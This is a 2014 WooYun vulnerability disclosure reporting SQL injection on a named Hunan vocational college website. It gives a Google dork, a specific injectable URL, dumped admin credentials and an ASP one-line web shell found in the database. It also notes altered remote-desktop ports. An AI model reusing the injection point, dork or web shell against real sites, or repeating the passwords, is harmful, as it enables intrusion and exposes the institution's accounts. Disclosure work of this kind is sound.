漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2014-04-24： 细节已通知厂商并且等待厂商处理中
2014-04-29： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
湖南铁道职业技术学院网站存在大量sql注入漏洞，google一下有好几页的链接都可以注入，而且我还找到了一个比较有趣的东东，后面再说。
详细说明：
湖南铁道职业技术学院网站存在大量sql注入漏洞，google一下有好几页的链接都可以注入。
google: site:www.hnrpc.com inurl:?id=
出来了很多结果，随便拿一个注入：http://www.hnrpc.com:85/zsb/zcfg_view.asp?id=72
Database: Microsoft_Access_masterdb
Table: admin
[3 entries]
+----+---------------------------+------+----------+
| id | user_id | data | user_pwd |
+----+---------------------------+------+----------+
| 10 | zsjy | <blank> | 2783860 |
| 19 | <% execute request("a")%> | <blank> | 123123 |
| 20 | ┼癥污爠煥敵瑳∨≦┩>> | <blank> | 123456 |
+----+---------------------------+------+----------+
id为19的、20的是什么东东，好像在哪里见过，若找到19，admin什马的我都不用愁了，看来有前人拜访过了，我看一下端口：
不看不知到，一看东西真不少，9900和3390这两什么东东，似乎不是什么常用端口，我猜的不错的话应该时3389被人改了吧，现在是不光裤子没了，整个人都没了，幸好我同学没有去哪的。
漏洞证明：
见说明
修复方案：
找专业人士，我是业余的。
版权声明：转载请注明来源 new@乌云
>
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-04-29 11:11
厂商回复：
最新状态：
暂无